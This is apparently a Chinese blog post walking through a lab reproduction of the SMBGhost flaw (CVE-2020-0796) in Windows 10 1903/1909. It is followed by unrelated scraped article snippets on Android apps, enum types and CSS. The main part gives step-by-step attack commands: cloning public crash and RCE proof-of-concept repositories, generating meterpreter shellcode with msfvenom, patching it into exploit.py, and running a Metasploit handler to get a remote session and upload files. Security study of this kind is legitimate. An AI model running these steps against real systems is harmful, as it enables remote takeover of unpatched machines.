永恒之黑漏洞复现

article/2025/7/11 19:15:38

永痕之黑

1. 永恒之黑漏洞相关信息

漏洞介绍 https://nvd.nist.gov/vuln/detail/CVE-2020-0796

漏洞影响版本:
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server 2016, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server 2016, Version 1909 (Server Core installation)windows 10 1909

原理:SMB远程代码执行漏洞

SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

Windows 10和Windows Server 2016引入了SMB 3.1.1 。本次漏洞源于SMBv3没有正确处理压缩的数据包,在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。

利用该漏洞,黑客可直接远程攻击SMB服务端远程执行任意恶意代码,亦可通过构建恶意SMB服务端诱导客户端连接从而大规模攻击客户端。

2. 实验环境

kali: 192.168.0.10

win10-1909教育版:192.168.0.8

(迅雷下载:ed2k://|file|cn_windows_10_business_editions_version_1909_updated_dec_2019_x64_dvd_262ac8af.iso|5301471232|FD9D7DD90D16FA14A682AEF49F8E712B|/)

kali
win10-1909

关闭目标主机的防火墙
在这里插入图片描述

3. kali下载 POC和Getshell

蓝屏POC

git clone https://github.com/eerykitty/CVE-2020-0796-PoC

getshell

git clone https://github.com/chompie1337/SMBGhost_RCE_PoC

在这里插入图片描述

4. 执行蓝屏POC

python3 CVE-2020-0796.py 192.168.0.8

在这里插入图片描述

win10-1909蓝屏,攻击成功,说明存在漏洞。

在这里插入图片描述

5. getshell

使用msfvenom命令生成shellcode代码

msfconsole
msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f py -o shellcode.txt

在这里插入图片描述
复制shellcode.txt内容进入SMBGhost_RCE_PoC文件编辑exploit.py,将USER_PAYLOAD段全部删除,将刚刚shellcode.txt内容复制进去
将buf改为USER_PAYLOAD
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

进入kali中的msf模块打开监听模块

use exploit/multi/handler #选择监听模块
set payload windows/x64/meterpreter/bind_tcp #使用监听模块
set lport 4444  #监听端口
set rhost 192.168.0.8  # 目标主机
run #运行

新开一个kali的shell运行exploit.py反弹shell,可能一次执行不成功就多运行几次。

python3 exploit.py -ip 192.168.0.8

在这里插入图片描述
在这里插入图片描述

可以看到msf监听模块成功建立起会话

查看一下系统信息

sysinfo

在这里插入图片描述

上传kali的一个文件到win10, 获取shell

upload /root/Desktop/flag.txt

在这里插入图片描述

在win10 可以找到flag.txt
在这里插入图片描述

漏洞复现成功


http://chatgpt.dhexx.cn/article/rBNxaOJb.shtml

相关文章

手机技巧:推荐一款手机省电、提升流畅度APP

目录 软件详情 基本介绍 软件功能 软件特色 使用方法 软件对比 结论 今天给大家推荐一款手机省电、提升流畅度APP,感兴趣的朋友可以下载一下! 软件详情 黑阈app是一款非常实用的系统优化类手机APP。使用它能够禁止软件后台运行耗电,既…

linux usb 黑 白 名单_安卓手机如何一键提升手机性能?用黑阈

安卓手机现状 安卓现在的旗舰机并不比苹果差,但是依然对手机小白很不友好,安卓属于开源,自由度较大,可供发挥的空间更高。需要一定基础才能充分利用安卓的性能。而苹果依然是针对小白的,系统会自行优化,自由…

如何root安卓手机_安卓手机如何一键提升手机性能?用黑阈

安卓手机现状 安卓现在的旗舰机并不比苹果差,但是依然对手机小白很不友好,安卓属于开源,自由度较大,可供发挥的空间更高。需要一定基础才能充分利用安卓的性能。而苹果依然是针对小白的,系统会自行优化,自由…

黑阈使用方法

一、从各大应用市场载「 黑阈 」。 二、切换到「 使用 」的页面,选择「 进入黑阈 」 三、打开「 开发者选项 」跟 「 USB调试 」 四、连接 USB ,允许 USB 调试 五、电脑打开下面这个网页,下载相应的 SDK。 https://developer.android.goo…

使用树莓派3b+作为黑阈激活器

黑阈(y)不需要 root 就能待机(App Standby,Android 6.0 引入,部分设备不支持)或强行停止应用,防止应用持续运行。 黑阈不处理非“黑阈清单”内应用。当您启动应用,使用完退出&#x…

枚举类型是什么

C语言详解 - 枚举类型 注:以下全部代码的执行环境为VC 6.0 在程序中,可能需要为某些整数定义一个别名,我们可以利用预处理指令#define来完成这项工作,您的代码可能是: #define MON 1 #define TUE 2 #define WED 3 …

ts枚举类

参考官方文档:https://www.tslang.cn/docs/handbook/enums.html 理解:枚举是列举固定几个值,直接定义变量的话的话可以随意定义,枚举只能使用你定义好的几个值,枚举是个类,定义的值是基本类型,类能有更多操作 例如你定义一个方法接收一个参数&#xff0…

Java 枚举类型原理分析为什么枚举比用静态变量多消耗两倍的内存

一 起源:枚举是一种特殊的数据类型,一般用来列举有限个、同类型的常量。它能保证参数的安全性,如方法声明传入的参数,必须是指定枚举中的常量。但是Android开发文档指出,使用枚举会比使用静态变量多消耗2倍内存。为什么…

java枚举转json

1、背景 java后端的枚举类型,要展示到前端,提供给用户进行下拉选择,java后端需要封装enum为json字符串提供给前端,需要首先将枚举类型转为list,然后再转为json字符串。 2、方案 方案也很简单,使用EnumSe…

枚举类的使用

文章目录 前言一、自定义枚举类二、使用enum定义枚举类1.Enum类的主要方法2.实现接口的枚举类 前言 1) 类的对象只有有限个,确定的。举例如下: 星期:Monday(星期一)、…、Sunday(星期天) 性别:Man(男)、Woman(女) 季节…

用户名枚举

一. 漏洞描述 常存在于系统登录界面,由于错误配置或设计缺陷,当向系统提交有效账户和无效账户时,服务器会有不同的响应,利用服务器响应的不同,攻击者可以获取到系统已经存在的账户,可用于暴力破解&#xff…

c++枚举

一、枚举类型的定义 枚举类型的定义&#xff1a;枚举类型(enumeration)是 C 中的一种派生数据类型&#xff0c;它是由用户定义的若干枚举常量的集合。 定义格式&#xff1a;枚举类型的定义格式为&#xff1a;enum <类型名> {<枚举常量表>}; 例如&#xff1a; en…

java枚举类及面试题为什么枚举实现单例模式是安全的?

目录 枚举类为什么会有枚举类&#xff1f;枚举类的使用枚举类的常用方法枚举的构造 枚举类型能被反射吗&#xff1f;为什么枚举实现单例模式是安全的&#xff1f; 枚举类的优缺点 枚举类 为什么会有枚举类&#xff1f; 假如说程序中有一些颜色的状态&#xff0c;或者说消息的类…

什么是枚举?

枚举有两种存在形式&#xff1a; 第一种是计算机编程语言的一种数据类型&#xff0c;enum&#xff0c;即枚举类型。在实际问题中&#xff0c;一些变量的取值被限制在一个有限的范围内&#xff0c;例如&#xff1a;一个星期内只有七天&#xff0c;一年只有十二个月…C语言为此提…

什么是枚举【详解】

本期介绍&#x1f356; 主要介绍&#xff1a;什么是枚举&#xff0c;枚举是如何定义、初始化的&#xff0c;以及枚举到底如何使用&#xff0c;还有枚举这种语法存在的优点有那些&#x1f440;。 文章目录 一、什么是枚举&#x1f356;二、枚举类型的定义&#x1f356;三、枚举…

输入文字后不会自动变长的下划线如何制作

问题&#xff1a;设置下划线时&#xff0c;随着文字增多&#xff0c;下划线延长&#xff0c;出现不对齐的情况 &#xff0c;如下图 解决&#xff1a;制作表格&#xff0c;把不需要的边框删除&#xff0c;就我现在需要的效果&#xff0c;实现步骤如下 制作表格 设置单元格的边距…

CSDN中用Markdown如何给文本加下划线(可延长下划线)

解决 使用<u></u>把文字包起来即可。 演示 <u>下划线</u>&#xff0c;效果&#xff1a; 下划线 如何延长下划线 如果想延长下划线&#xff0c;我们会发现直接打空格是没用的&#xff0c;<u>  下划线   </u>&#xff0c;效果&…

css鼠标划过文字出现往两边延伸的下划线

HTML&#xff1a; <div class"nav"><ul><li><a href"#">Gravit Designer</a></li><li><a href"#">Gravit Klex</a></li></ul></div> CSS&#xff1a; /*导航*/.nav{…

【深入理解JS核心技术】12. 什么是一阶函数

一阶函数是一个不接受另一个函数作为参数并且不返回函数作为其返回值的函数。 const firstOrder () > console.log("I am a first order function!"); 复制代码 函数名 函数名就是指向函数的指针&#xff0c;一个函数可以有多个名称。 function sum(num1, num2) …

一个正经的前端学习 开源 仓库(阶段十九)

低调务实优秀中国好青年 (简介) && 附加答案 中文 | English github.com/webVueBlog/… 一个 ☝️ 正经的前端学习 开源 仓库&#xff0c;启发来自 淘宝大佬 冴羽 &#xff0c;初心做一个真正能帮助到大家的仓库。&#xff08;非常口语化的&#xff0c;手写总结&#x…